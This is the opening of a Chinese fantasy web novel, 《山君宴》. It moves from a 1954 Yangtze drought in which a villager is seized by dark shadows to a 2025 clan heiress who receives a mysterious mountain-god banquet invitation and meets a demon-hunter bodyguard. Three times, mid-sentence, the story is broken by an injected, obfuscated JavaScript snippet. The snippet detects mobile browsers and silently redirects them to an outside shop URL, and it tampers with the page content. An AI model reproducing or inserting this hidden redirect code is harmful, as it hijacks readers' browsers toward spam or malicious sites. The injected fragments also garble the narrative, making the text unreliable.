《山君宴》 1. 楔子 1954年初,冬。 快到春节了,几个村的渔民们打算下午再一次结伴外出打渔,希望这次能有个大收获,让大伙过个好年。 大家一起干劲十足地喊完口号,相互拍了拍,每个人的脸上都是止不住的笑意,对比前几年,现在这才是人过的日子嘛。 而大中午被自家爹从床上抓起来的王大壮打着哈欠混在渔民中间,心里闷闷不乐。 昨个刚和哥几个喝了一顿,喝着喝着又谈到自个那傻爹,一时上头就多喝了几杯,半夜醉醺醺翻墙回家又被那老头抓了个正着,压着在祖宗牌位面前跪了半个晚上。 王大壮就想不明白了,明明自个爹是村长,吃香喝辣的岂不是自己村二代的标配,谁知道那老头儿就是要他自力更生,还说了今天下午不来捕鱼就不用吃饭。 他提了提裤子,只能恨恨跟在几个人后面,一脸不情愿的样子,边走还边嘟囔着,捕鱼捕鱼,捕个破鱼,大冬天哪来的鱼。 江面一望无际,还没有结冰,看起来与平时没有任何区别,大伙们各自划船到江中间,边撒网边闲聊着。 “小子啥时候讨个媳妇?” “说啥呢说啥呢,老子是一人吃饱全家不饿,要个媳妇来又有啥用……” “那是你没尝过女人的滋味,哥哥我告诉你,你要是到时候有媳妇了根本就不乐意从她身上下来了咧,大伙说,是不是!” “说的是嘞,小子你是还没开窍呢哈哈哈。” “这年头你小子还是个雏啊哈哈哈。” “滚滚滚。” 王大壮撇了撇嘴,不加入那群人的谈话,自己和这些人平时就不是一道的,现在更是聊不到一起。 幸好自己从上船开始就找了个不容易被发现的地方,假装在撒网,实则呼呼大睡。 睡着睡着他却感觉越来越冷,呼吸声越来越重,他唰的一下睁开了眼,捂住心脏喘着气左右看了看,没发现有什么不对劲的。 他刚想换个姿势继续瘫着,靠近他的那块湖面却突然出现了一团又一团黑色的阴影,一会儿浮起又沉下去。 他想,这地方水草怎么那么多啊,还有这么多姿势,像个小孩似的。 不多时。 “你们快看!!”王大壮在漫不经心看完水草后,余光一瞥却发现了正在快速下沉的江水,他大喊了起来。 渔船上的渔民听到声音,向他指的地方看去,却惊恐地发现,这江水正以肉眼可见的速度向下减少。 再往远处一看,有些浅水区已经露出了地面的黄沙,好像这条长江下一秒就能把渔船吞噬。 这个时候,风突然大了起来,沙尘弥天,天色苍黄,恍如世界末日。 不知道谁叫了一句“快走啊!”。 渔民们开始疯了一样地往岸边划去,生怕这长江水底下有什么吞噬人性命的怪物。 王大壮拼命地划着桨,却因为平时实在没做过这活,不知怎的就被带到了江水里,溅起一大块水花,但这个时候也没人有闲情去管他。 王大壮扑哧扑哧朝船游过去,却怎么也到不了,突然,他感觉自己的脚上缠上了什么东西,还没反应过来,就被拽到了水下。 隐隐约约间,王大壮在水下看到了一团又一团黑色的阴影,张牙舞爪的,像极了大家平时所说的妖怪。他想逃,呼吸却越来越沉重,眼眶瞪得都快裂来了,难道今天老子就要死在这水里? 那团阴影却不慌不忙缠了上来,直到把他整个人全部包住,远远看过去像是一棵奇形怪状的树。 ****** 等好不容易到了岸边,大家又迟迟不肯散去,呆呆地站在江边看着这场奇观,这种长江断流的怪事可祖祖辈辈都没发生过。 “大壮还在下面咧!”渔船的老大哥突然吼了一声,大家面面相觑,却都一动也不动。 最后是同村的小伙想起王大壮他爸是村长的身份,还是站出来说,“咱们派几个人下去找找,不然被村长知道……” 话说到一半,有人颤颤巍巍地打断了他:“你们看,那,那是不是王大壮?” 大家抬头望去,发现远远的有个人飘在水上面,时不时动一下,随着水位的逐渐下沉,隐隐露出后面的黑色阴影,就像,就像有什么东西在后面推着他一样。 眼看着那人越来越近,大家都吓得到处逃窜,一会儿岸边就没了人影。 而飘在水上的东西依旧慢慢悠悠不慌不忙地移动着。 夜渐渐深了,村子看起来一片静谧,和往常一样,村长家一如既往地亮着灯,夫妇俩呆坐在屋子里,还在想着白天渔民带来的话。 “村长,你家大壮被妖怪吃掉了。” “是啊,连个人都没捞着。” “不对不对,是被妖怪缠上了,也不知道还活着没。” “村长,这实在是没办法……” “实在是发生得太快了,我们都来不及。” “上面的说,这水下沉啊是科学嘞,这不过几个时辰就又上来了嘛,大壮一定会没事的,您老也别太着急忙慌,明天啊不,过几天,过几天我一定带兄弟们去捞捞。” “村长,我去问了,说是什么地壳运动才这样的,你放心,大壮福大命大,一定会找到的。” 村长媳妇突然站起来冲村长边打边骂,哭着道:“你干什么非要大壮去船上,这下好了吧,我的大壮诶……” “这是造了什么孽啊,好好的一个人啊……” “都怪你,要不是你,大壮这个时候还好好的……” 村长痛苦地抱住妇人,心里也痛悔自己那时的行为,家里可就这一个孩子啊。 不同于平时夜晚的静谧,今个儿的晚上实在是太静了些,路边的树啊草啊石头啊都闷不作声。 一阵水汽却突兀地笼罩过来,湿漉漉的衣服裤子还往下在滴水,“滴–答–滴–答”,就像催命的时钟,匀速而缓慢。 来人深一脚浅一脚往前走去,留下一个湿透了的鞋印和一个湿透了的脚印,还时不时从身上掉下一些东西,这些东西很快混入周围的环境,任谁看也毫无异样。 听到一丝脚步声的几户人家唰的一下就把门别得牢牢的,灯也吹灭了,只剩下一片死寂。 小辈的刚要说话,这世上又没妖怪,一个字都没还蹦出来就被年老的长辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470793|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死死按在嘴里。 刚要反抗,却看到一张又一张严肃阴沉的脸,他们目不转睛地盯着大门,手上都紧紧握着棍子,大气都不敢喘一下。 这样的氛围让小孩子也不由自主地屏住呼吸,紧张地拽住了大人的衣角。 “吱——嘎” 院门打开的声音在黑夜里那样清晰,老两口抹着泪不经意地往门口一瞧,一个黑影晃晃悠悠地出现。 此时,长江的深处,一处无人踏足的黑暗世界里,一道叹息声缓缓响起—— ****** 诡异的长江断流事件被一纸报刊记录了下来,却没有引起什么大波动,而是和那些历史一样被默默封存了。 时间不急不缓地过去,一晃眼,就到了2025年。 八月盛夏,炽热的太阳把整个空气都蒸腾了一遍,温迎看了看门口几乎都热变形了的地面,心里松了一口气,还好药店里开了空调。 不过,这样的日子,来买药配药的人也少得很,也算是摸鱼上班了。 之前那段时间着实是太忙了,照理说,温迎应该是要休假的,但她提交申请的时间迟了些,其他人都休假跑了。 没办法,药店还是要有人看守的,但她实在没心情认认真真上班,这么一想,温迎又正大光明地开始摸鱼。 门口的迎客铃却突兀地响了起来,温迎听到声音抬眼往门口看去。 一个还穿着旧时代西服的男人正在低头收着一把木浆色的油纸伞,他拿着伞的手指修长,身姿端正,明明只是一个简单的动作,却让温迎觉得实在过于赏心悦目了,她完全移不开目光。 等男人把伞收好一抬头,温迎在心里嘶了一声,那张脸和想象当中的完全不同。 看打扮和气质,温迎原以为男人是个漂亮大美人,结果那张脸上却坑坑洼洼的,甚至还有好几条可怕的伤疤,看久了都让人心理不适。 温迎才看了一会就立马把视线移开了,但脑子里还是那张可怖的脸,这是她第一次在现实中看到如此割裂的一张脸。 男人直直地朝她这走过来,温和地叫了她一声:“这位小姐。” 长着这样一张脸的人,声音却意外得很好听,连称呼都像是活在上世纪。 温迎把表情理了理,这才抬眼一脸微笑地站起来:“先生,你是要配什么药?药方有吗?” 这个时候,温迎才看清楚,男人脸上的不是什么伤疤,而是像纹身一样的东西,一道又一道像树皮一样粗糙的长条,深深浅浅地布满了整张脸。 谁会纹这样可怕的东西,还是在脸上,温迎在心里嘟囔。 “我不配药。”男人轻笑了一声,“我来要一样东西。” “什么东西?” 男人从衣服口袋里掏出了一张什么,递给了温迎,语气依然温和:“我来要回我几百年前寄存在这的东西。” 几百年?温迎把纸条拿了起来,这是老样式的东西了,至少自己只在培训那时候见到过照片。 等看清楚上面写了什么,她神色严肃了起来,这个男人…… “对了,如果我没记错的话,你们应该叫它天字号,魇。” 2. 第一章 九月开学季,潘家园的游客量不出意外降了一些,但奔着这个名头来的人还是络绎不绝。 早上天还微微亮,正在自家铺子门口逗鸟的郑汀余光一瞥,看到了好几天没出现的郁永春,终究是八卦的心思占了上风,他把手上的东西一放就窜了出去。 “欸,永春啊,你这是……” 郁永春难得早了一些过来,就是为了避开认识的人,结果还是没躲过,他叹了一口气,应了一声。 “你这几天去哪了?” 伸手不打笑脸人,郁永春也仰着一张笑脸:“处理一些家里事。” “什么时候重新开张啊?” 郁永春身体僵了僵,应付了几句就继续往前走了。 郑汀看着郁永春的背影啧啧了两声,这老郁估计还是没搞定事情,不然怎么会一脸沮丧样,真是眼看他高楼起,也看他高楼塌啊。 郁永春蒙着头往前赶,幸好剩下的一段路没再碰到什么人了。 不过,不像郑汀想的那样,郁永春遇上的麻烦事已经解决了,而且按照目前情况来看,也不会有比这个还要好的局面。 一切都要从几个星期前说起。 郁永春以前在潘家园也算是一位声名赫赫的大老板,纯靠自己就在古董界站稳了脚跟,盘下的那个铺子不说日进斗金,至少也是个赚钱的金疙瘩,不过,这也惹了别人的眼红。 在一场骨董会面上,骨董是以前的老旧说法了,近些年也没几个人会用。总而言之,郁永春被人邀请去这个会上观摩,据说还有可能看到秦朝时候的玩意儿呢。 结果,自己才刚到没几个小时,就被人下了套,一切发生得太快了,等反应过来的时候,郁永春已经欠下了不少钱,还差点赔上了自己的声誉。 这段时间,郁永春求爷爷告奶奶似的借钱,还是没人肯借,他知道,这是有上面的人打过招呼了。 没办法,他打算把自己那间铺子给卖了,至少先把欠的钱补上,但就连卖房子他都卖不出去。 之前他觉得潘家园这地段好,但地段太好了,要价也高,现在也没人有那么多可以一下子动用的资金,更不用说还是因为自己惹上麻烦才要转手的。 噩噩浑浑当中,郁永春去了琉璃厂。 正想着,已经走到自己铺子了,郁永春苦笑了一声,不对,这已经不是自己的铺子了。 他从兜里拿出一串钥匙把门打开,里面已经有人了,正姿势散漫地靠在椅子上。 是个看起来就瘦瘦高高的姑娘,却穿得一身黑,黑裤子黑衬衫黑棒球帽,头发松松垮垮地扎在后面,有几根发丝垂下来,挡住了她的脸。 当时,自己在琉璃厂逛了半天,问了几家相熟的合作伙伴,都没什么办法。末了,有一家的伙计暗戳戳地提醒他,最近琉璃厂这有个女人来问过房子的事情。 接下来就顺利了不少,郁永春拜托了不少人联系上了那个要买房子的女人,见面第一眼他就被吓到了,是个刚毕业的女孩,年纪比自己孩子还小。 听到动静,宜姜收起了手里的东西,抬眼看向门口,她的脸也露了出来。 冷白的肤色,显得上面的几颗痣越加明显,五官立体,一双丹凤眼,眼尾微微上挑,瞳孔却淡得近乎浅棕,唇色也是淡淡的,让郁永春想起自己之前看到过的德化白瓷。 见到是郁永春,她站了起来。 “你来了?” 郁永春把门带上,点了点头,语气纠结地喊了一声:“宜老板。” 宜姜愣了一下说道:“直接叫我名字就行。就和之前我跟你说的那样,这家店对外还是你负责,就和你以前一样。” 郁永春拿出一份文件,是之前他们说好的合约,宜姜仔仔细细地看了两遍,确认没问题了才签字落款。 “对了,这个地方再重新装修一遍,全装上隔音的,尤其是二楼,一楼这留出一块地方放两排书架,其他地方都不变。” 要装修啊,郁永春缓了几秒钟,这个房子上次装修还是自己刚买下的时候。 宜姜继续说:“我这段时间要离开北京,有事就电话联系,装修的钱……” 说到这,宜姜停顿了一下:“你先垫上,到时候等我回来了再报销。” 郁永春点点头,僵硬地开口:“行,宜小姐,不过咱这什么时候开业?” “开业?”宜姜思考了一下,反应过来后继续说,“等装修好了,你觉得差不多了就可以,提前和我说一声就行。” 郁永春舔了舔唇,拘谨地摩挲着手。 宜姜把东西理了理,自从把这家店买下来之后,她就搬到了二楼住了几天,除了吃饭也不出门,但就这几天她就受不了了。 这个地方实在太吵了,每天天不亮就有动静,晚上凌晨了也还有人,再睡几天,她怕是要死了。 所以,她赶紧打算把这里装修一下,本来是打算自己亲自监督,结果计划赶不上变化。 “宜小姐,您是现在就走吗?” 宜姜把口罩一戴,声音沉闷了起来:“现在就走。” 郁永春这个时候脑子终于是醒了,搬着宜姜的行李在路口叫了一辆车。 “去机场。”郁永春把行李递给司机报出了位置,又给宜姜把后面的车门打开。 宜姜把车窗拉下来,招了招手,郁永春凑上去侧过头。 “你那件事,上面我已经找人说开了,所以你安心装修便是,有什么问题给我打电话。” 看着车子远远开走了,郑汀不知道从哪又窜了出来,他用手撞了撞郁永春。 “这姑娘什么来历?你怎么对人家毕恭毕敬的?” 郁永春没说话,只是久久地看着车子远去的方向。 ****** 宜姜等车开出了潘家园的范围,和司机说了声:“改个地方,去北京南站。” 司机透过后视镜看了一眼后排的女人,全身衣服都是黑色的,口罩也是黑的,只露出一双眼睛,瞳色很浅,应该是戴了美瞳。 “行。”司机立刻把导航改好,转了下方向盘。 等宜姜从火车站出来,也是几天后了,湖南的天气闷热,空气里都是热气。 她深吸了一大口气,正打算约个网约车,但看了看快暗下去的天,想起之前被司机丢在半路的经历,她又收回了点开地图软件的手。 上次回来,宜姜图方便,直接约了个网约车,当时已经晚上十一点了,她顺道去据点里拿些工具,就让司机在外面等着。 结果,等她出来还没走几步呢,那车就发动开走了。 想了又想,宜姜还是在微信小号上发了一条消息出去,对面很快就回复了。 宜姜确认对方会来接之后,也不像之前那样马上把微信切回去,而是一条又一条回复小号里的消息。 宜明喆把车子开到火车站门口的时候,就看到宜姜身边放着一个大箱子,人却低头在玩手机。 “宜姜!”宜明喆喊了一声,“过来,这边。” 宜姜准确无误地用眼神锁定住宜明喆的方向,刚上车,宜明喆就开始念叨起来。 “早和你说了,以后回来就让族里人来接。你看像上次你去据点,让司机在外面等着,大晚上的,你从头到脚穿了一身黑,只露出一双眼睛,手上还拿着像匕首一样的东西,那据点位置又偏,谁看见不会跑啊。” 宜姜听着,点点头:“行,下次我直接叫族里人。” 这话一出,宜明喆倒不知道该怎么回复了,说实话,他们俩也不是很熟,这几年就偶尔见上几面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470794|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更何况,宜明喆看了一眼还戴着口罩的女人,这人来老宅口罩基本就没摘下来过,要不是每次她都穿标志的一身黑,这次宜明喆铁定认不出来。 宜姜把手机上的消息全回复完了,确认没什么漏的,这才把心思放到现实里。 “我爸妈最近还好吧?” 宜明喆挑了下眉:“小叔还可以,就是小婶头疼又开始犯了,不过这也没什么办法,医生也看了药也吃了,说是慢性病,只能慢慢养着。” 宜姜点点头表示了解,然后就不说话了。 宜明喆倒是停不下话头:“小婶前几天刚提到你,你这次回来去看看他们呗,吃个晚饭什么的。” “行啊,那我和她说一声。” 宜明喆看着低头开始发消息的人,心里很是感慨,这种奇怪的母女关系,他看了很多很多遍了还是不适应。 感觉他们不是父母和孩子,倒像是客气的陌生人,而且因为太过客套了反而显得越加诡异。 不过,从自己记事以来,宜姜一家三口就是这么个相处法,想当初宜明喆第一次见到他们的相处日常,就吓得跑回去问奶奶,宜姜是不是被小叔小婶拐卖回来的。 车子里又陷入沉默,宜姜盯着外面看了半天,突然回过头问了一句:“怎么这次是你来接我?” “刚好没什么事,又不想在老宅里闷着。”宜明喆说完,抛出一个问题,“不过,你不是刚回来过,怎么这次又回来了?” “有点事。” 快到老宅了,宜明喆把卡掏了出来:“对了,我提前和你说件事。” 宜姜把口罩往上拉了拉,又把帽子往下压了压,低声说:“什么事?” “前段时间,你不是在那边受伤了吗?我们这还是没瞒住小婶,她不放心,打算给你找个守鞘的。到时候小婶要是和你说了,你先别拒绝。” 宜姜眨了眨眼:“那边能同意?” “能吧?”宜明喆迟疑了几秒,“按照小婶的身份,应该可以。” 宜姜冷笑了一下:“什么身份,都几十年不见了,仔细想想他们那都不会当什么重要的事情去做,能找到什么有用的人。而且,她也是通过你们去找的那边吧?” 宜明喆无话可说了。 幸好,已经到地方了。 宜家老宅建在深山里,周围都是崇山峻岭,老宅整体色调偏黑灰色,在夜晚如果不开灯一眼望过去基本都看不到。 宜姜从车上下来,有人过来把她的行李搬下来,宜明喆指了指行李和来人说:“放到骨瓷院子里去。” 宜姜没什么意见,等宜明喆把事情安排好,两个人就朝祠堂走过去。 “她找了个什么人来做守鞘的?” 宜明喆被突如其来的问题吓了一跳,咽了咽口水说:“那边说是捉妖师一脉的,还是妖梅那一支。” 妖梅,宜姜把这两个字想了又想,终于是把名字和资料对上了。 捉妖师这一脉,自从建国之后就开始四分五裂,梅兰竹菊四支算是大头。其中,为首的妖梅一支已经很久没消息了,之前一度有人怀疑,妖梅的传承已经断代了。 这个时候出现妖梅,总觉得不太对劲,更何况…… 宜明喆打断了她的思考:“我记得当时有资料发过来的,我看看啊,是个男的,名字我记得叫梅询。” “梅询?” 宜姜停下了脚步:“哪两个字?” “妖梅的梅,询问的询。” 看着宜姜皱起的眉头,宜明喆小心翼翼地问了一句:“怎么了?” 宜姜低头思考了几秒,接着开始往前走:“那个梅询多大了?” “四五十岁吧。” “四五十岁。”宜姜小声重复了一遍,眉头渐渐松开了。 3. 第二章 宜家祠堂在老宅的最深处,不论白天黑夜都有人守在门口,保证烛火不灭。 宜姜跟着宜明喆左拐右拐的,走了好一会儿才到地方,门口却没有人守着。 宜明喆解释道:“因为你要来,我打过招呼了,这里没别人。” “谢了。” 宜姜熟练地推开门走了进去,从柜子上取出三根香,把帽子摘下放到了一边,然后小心翼翼地在烛火那取了点火,轻轻甩了甩。 她看了眼离自己最近的那个牌位,双手把香举过头顶,恭恭敬敬地鞠了三个躬,然后把三根香插在了香炉里。 宜明喆也跟着上了三根香。 两个人结束了也没走,宜姜是看着那个牌位发呆,宜明喆则是皱了皱眉,这是他第一次单独和宜姜上香,怎么就连上香这么郑重的事情她口罩都不摘。 “你……” 宜姜转过头,失去了帽子的遮挡,那双浅色的瞳孔更清晰了。 宜明喆咳嗽了几下来掩饰尴尬:“你怎么口罩不摘就上香?” “怎么?又没人规定不能戴口罩上香。” “这,还是郑重些好一点吧,毕竟是这么多年传下来的传统。” 宜姜冷笑了一下,指了指自己。 宜明喆先是困惑,随后想起了些什么,垂下了眼睛,把话题结束了。 突然,宜姜感觉到有什么奇怪的波动,头往上一仰,一张绿色的纸凭空出现在她上方,她手一伸,把东西拿了下来。 宜明喆察觉到她的动作,顺势看了过去:“这是,山君帖?” 宜姜把这张帖子前后都看了看,肯定了他的说法。 “这东西居然真的是存在的。”宜明喆把帖子拿过来仔仔细细看了一遍,“我还以为是奶奶乱说的。” 山君帖是一张墨绿色的请帖,上面有着“山君帖”三个大字,右上角有一个小小的“宜”字,都是小篆体,像是刻在上面似的,但摸上去触感却平滑。 宜明喆满足了好奇心,把帖子还给了宜姜:“按照惯例,这次山君宴,宜家是你出去。” 宜姜低下头,神色莫名,她深深摩挲了好几下请帖上的“宜”字,像是要把这个字擦掉。 “行。我去就我去。”宜姜抬头,“不过,这也算是任务吧。” 陈述的问句,宜明喆嘴角抽了一下:“他们说你这段时间掉钱眼里去了我还不相信,你这,你最近有着急要用钱的地方?” 宜姜摇摇头。 “算了算了,就是任务,回头我和大哥说一声,你的账从他那走。” 听到这话,宜姜的心情愉悦了不少,至少有钱装修了。 门口响起了敲门声。 “谁?” “夫人让我来问问,骨瓷什么时候去吃饭。” 宜姜把帖子往自己怀里一塞,帽子一戴,只留下一句“我先去吃饭”就出去了。 宜明喆跟着从祠堂出来,在后面大声喊了一句:“态度好一点啊。” 宜姜往后摆了摆手,示意自己知道了。 ****** 姜桃时不时走到门口,朝外面看几眼又回来坐下,动作间显得十分紧张。 宜骨旭看着她这样反反复复几次之后,上去宽慰她:“没事的,阿书说过会回来吃饭那就一定会,她哪一次说过的没有做到了?你放宽心。” “好久没见面了,都有好几个月了,也不知道现在阿书怎么样了。” 正说着,宜姜就走到了门口。 姜桃一下子站了起来,推开宜骨旭冲到宜姜面前,刚想抱抱她,但又把手缩了回来。 “阿书回来了啊。”姜桃仰起一张笑脸,边指挥宜骨旭把菜都端出来,边给宜姜拉椅子。 宜姜一进来就把门关上了,接着把帽子口罩全摘了下来:“妈妈,就是简单吃个饭,不用那么麻烦的。” “瘦了瘦了。”姜桃看着她的脸,情不自禁地摸了上去。 宜姜却不留痕迹避开了,拉着姜桃坐下,宜骨旭把菜全摆好之后也坐了下来。 一家三口开始用餐。 姜桃一直笑着盯着宜姜看,像是要把宜姜盯出个窟窿,面对这样炽热的视线,宜姜依旧脸色不变。 姜桃突然开口:“毕业都一年了,要不阿书你搬回来住吧?” 宜姜摇了摇头:“老宅太偏远了,我还是习惯在外面生活。” “那也是。”姜桃心情低落了下去,想到什么又继续问,“你上次在那受的伤好一点了没有?” 宜姜把菜咽下去,冲姜桃笑笑:“不是什么严重的伤,休息了一个星期也就好全了,本来就没什么大事,所以就没和妈妈说。” 姜桃把筷子放下,担忧地说:“我问了这边的人,想给你找个守鞘的,这样你出任务受伤的几率也小一点。” 宜姜心里叹了一口气,也把筷子放下了。 “妈妈,我一个人可以的。”她停顿了一下,想起宜明喆说过的,又找补道,“那就一次,我下次出任务带上,要是不合适就算了。” 姜桃激动了起来:“那就好那就好,先试一试,不合适我们再换。” 宜骨旭在旁边只听着,什么话也没说。 吃完饭之后,姜桃把碗全收起来去厨房洗,这里只剩下了宜姜和宜骨旭两个人。 宜姜低着头,语气平淡地问:“都三年了,妈妈这样什么时候能好?” “她愿意这样就这样吧,起码现在还是正常的。”宜骨旭看了一眼厨房门,继续说,“只是,辛苦你了。” “我倒没什么。”宜姜理了理自己的衣角,也抬头瞥了厨房门一眼,“只是怕她以后想起来会觉得不自在。” “你本来就不用装得很孝顺,是我们先对不起你的。” 而在厨房里,姜桃拉开了一点门缝,整个人趴在那听着,面无表情。 在外面,两个人的对话很快结束了,姜桃也恰好从厨房端出一盘水果。 “尝尝吧,这是我刚切的,还新鲜着。” 宜姜用签子取了一块西瓜:“谢谢妈妈。” 姜桃笑语盈盈地在宜姜旁边坐下:“阿书这次要回来住几天呀?” “两三天吧,马上就要出任务了。” 宜骨旭难得开口:“上个月不是才刚出过,怎么又有任务了。” 宜姜扒拉了一下挡住视线的碎发:“是宜家要出人的那种宴会,严格来说也不算是任务。” “宴会啊。”姜桃重复了一句,“宴会好,起码安全一些。” 宜姜快速把半盘水果全塞进了肚子里,然后看向姜桃:“妈妈,我先把东西去收一收,明天我可能要去藏书楼一趟,晚上我再过来吃饭。” “好好好。你房间的东西我已经托人全换了新的,要是有什么不合适的告诉我,我找人再换换。” ****** 宜明喆来找宜姜的时候,宜姜已经在藏书楼待很久了,看着又是一身黑戴着口罩把自己捂得严严实实的人,他轻声开口:“听小婶说,你答应带那个守鞘的了?” 宜姜头也不转,目光还是在书架上扫视着:“只是带一次,宽宽她的心。” 不一会,宜姜皱了皱眉头,从书架上拿出了一本什么,翻了几页之后又放了回去。 宜明喆摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470795|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摸鼻子:“你什么时候出这次的任务?” 宜姜顿了顿:“明后天吧。” “那我和那个梅询联系一下,你要在哪出发?” “你给我个地址和照片,到时候我开车去接他。” 宜明喆想了想,这样也行,于是答应了,刚把资料发给宜姜,他又想起了些什么:“你知道要去哪吗?” 宜姜不急不缓地指了指书架:“所以我这不是在找吗?” 宜明喆尴尬一笑:“那你继续,我不打扰了。还有,大伯叫你晚上一起吃饭,记得来。” “等等。”宜姜喊住了宜明喆转身走的背影,“晚上我答应我妈妈在家里吃,明天中午吧。” “但大伯明天有事诶,要不你把小叔小婶一起带过来吃得了。”宜明喆脱口而出。 宜姜眯着眼看向他:“你确定?” 宜明喆想起之前两个人见面的那种尴尬场面,收回了自己的话:“还是算了吧,那就下次再约,我回去和他们说声。” 宜姜等宜明喆完全走出这地方了才抓紧时间把自己刚拿下来的书翻开,盯着一页久久不动。 良久,她拿手机拍了张照片,把书又塞了回去。 要走出藏书楼的时候,宜姜又拐了回去,敲了敲桌子。 正在看书发呆的男人吓了一跳,一个激灵,看清楚是谁之后又马上恭恭敬敬地问:“骨瓷,您有什么事情吗?” “这里所有书最新的一次版本翻修是什么时候?” “版本翻修?” 看着比自己还要困惑的人,宜姜叹了一口气:“算了。” 男人努力回忆着,还是憋出了一句:“我记得,记录里写的是几百年前有过一次大范围的修撰整理来着。” 得到答案的宜姜什么都没说就出去了,只是在要走出大门的时候,她回头看了书架一眼。 有点奇怪啊,宜姜边思考边走回去。 这里关于山君帖的记录不像她想的那样,也不是说记录太少或者太多了,而是记录下来的东西把这场山君宴就当成是一场山神婚宴。 但,这世界上真的有山神吗? 想到这,宜姜皱起眉头,一直被奶奶提在嘴边的东西居然是真的存在的。 但还是要亲自去过,才有可能知道这个山君宴究竟是什么。 ****** 在老宅的几天飞速过完了,宜姜把行李放在后备箱,和姜桃打了声招呼就发动车子出发。 刚开出一段路,宜明喆就发过来一条消息,是那位捉妖师梅询目前的位置。 宜姜输入地址开了导航,和自己去湘西的那条路线有点不太吻合,那就只能绕路先去接人再开车去湘西了。 啧,有点麻烦了。 宜姜直接给宜明喆拨了一个电话过去:“让那个人在路上等我,我去他现在那个位置得绕远路。” “可以,我这就和他说。” 宜姜把车停到新位置的时候,只看到了一个四五十岁还穿着道士服的中年男人,他拿着把剑靠在墙上闭眼,像出cos一样,旁边还有不少人盯着他看。 这是,捉妖师梅询? 宜姜看着那个人不着调的样子,眉头紧锁,但还是按了按喇叭,刺耳的声音吸引了男人的注意力,他睁开眼睛走了过来。 宜姜确认了一遍:“捉妖师妖梅一派的梅询?” 他点点头,钻进了副驾,许是怕宜姜不相信,他在自己衣服口袋里扒拉了几下,掏出了一条项链递到宜姜面前。 这条项链的链条是银质的,挂着一块木制的小牌子,上面刻了一个“梅”字,还是小篆体。 4. 第三章 两个人都没有要和陌生人说话的心思,去湘西的一路上,车里都一片寂静。 但随着宜姜越开越偏僻,坐在旁边当雕塑保持高冷气质的梅询紧张了起来:“我们要去湘西哪?” 宜姜含糊回答:“不确定,得到湘西境内了才知道具体去哪。” “到时候钱怎么打给我?” 听到这个问题,宜姜瞥了他一眼:“和你对接的那个人等结束了会付给你的。” 梅询却突然不依不饶起来:“那不行,得先给一半定金,剩下的结束了再给我。” 宜姜古怪地看了他一眼,似乎是想不到捉妖师这一脉居然那么看重钱财,但她还是拨通了宜明喆的电话。 “怎么了?出什么事情了?” 宜姜:“把给梅询的钱先打给他一部分,剩下的你打给我,我等结束了再转给他。” 这话的潜台词就是这个捉妖师宜姜就联系一次了,甚至她还打算半路把钱先结了让这人滚蛋,免得去宴会还出什么事情,毕竟她到时候可能会自顾不暇。 宜明喆思考了一下:“我这有点事情,我让人把钱全转给你吧,你先直接转一半给他就行。” “行。” 解决了这一茬,宜姜在一个小镇上停了下来,梅询却一下子警觉了起来:“你干什么?” “买点吃的,你的钱等会我先转你一半。” 梅询笑了笑,表情显得格外奇怪:“好好好,麻烦小姑娘了。” 这个称呼…… 宜姜解安全带的手顿了顿。 梅询却没注意,一下打开车门,正要下车的时候,一个身影突然出现,死死扒住了车门。 看到这个人,梅询突然变了表情,瞳孔猛地一震,慌不择路地往车里躲,反应过来车门被扒住没办法关上之后,他又打算趁人不注意往外面跑。 来人却直接一下子把梅询从车里扯了出来,直接把人压在车身上,掐住他的喉咙问:“我的东西呢!” “我……我……给你……”被掐着喉咙的人憋红了脸,断断续续地挤出几个字,“在……在我……口袋里。” 从口袋里拿回项链的男人,先仔细检查了一遍,确认东西没被掉包才把掐着他的那只手松开。 一被松开,穿着道士服的男人一下子脱力,跪在地上大口大口呼吸着。 这一切发生得很快,宜姜只是慢了一会什么都结束了,她正准备下车,副驾那却探进来一个脑袋。 这个人头发很乱又很长,遮住了他的眼睛,脸也遮住了一半,探进来的姿势只能看到他一半的衣服,是一套牛仔材质的套装。 “对不住,这人偷了我的项链,要是他用这个东西和我的身份跟你做了什么交易,你不要……” 男人的头逐渐抬起,突然,他的神色不可置信了起来,他眉头一皱,带着怀疑的语气问道:“宜……姜?学委?” 宜姜整个人已经僵在原地了,自己已经捂这么严实了,这人怎么认出来的? 她就说!在老宅听到这个名字就感觉不对劲,太过巧合了,幸好年纪对不上,结果现在…… 没办法了,宜姜摘下了口罩,露出了自己的脸,还是梅询大学记忆里的那样,只是原本还有肉的脸现在变得更骨相了。 “好久不见,梅询。”宜姜尴尬地躲开他的视线,假装正常地问了个好。 梅询的眉头还是皱巴巴的,他顶着一张表情不好的脸继续开口:“你怎么在这?” 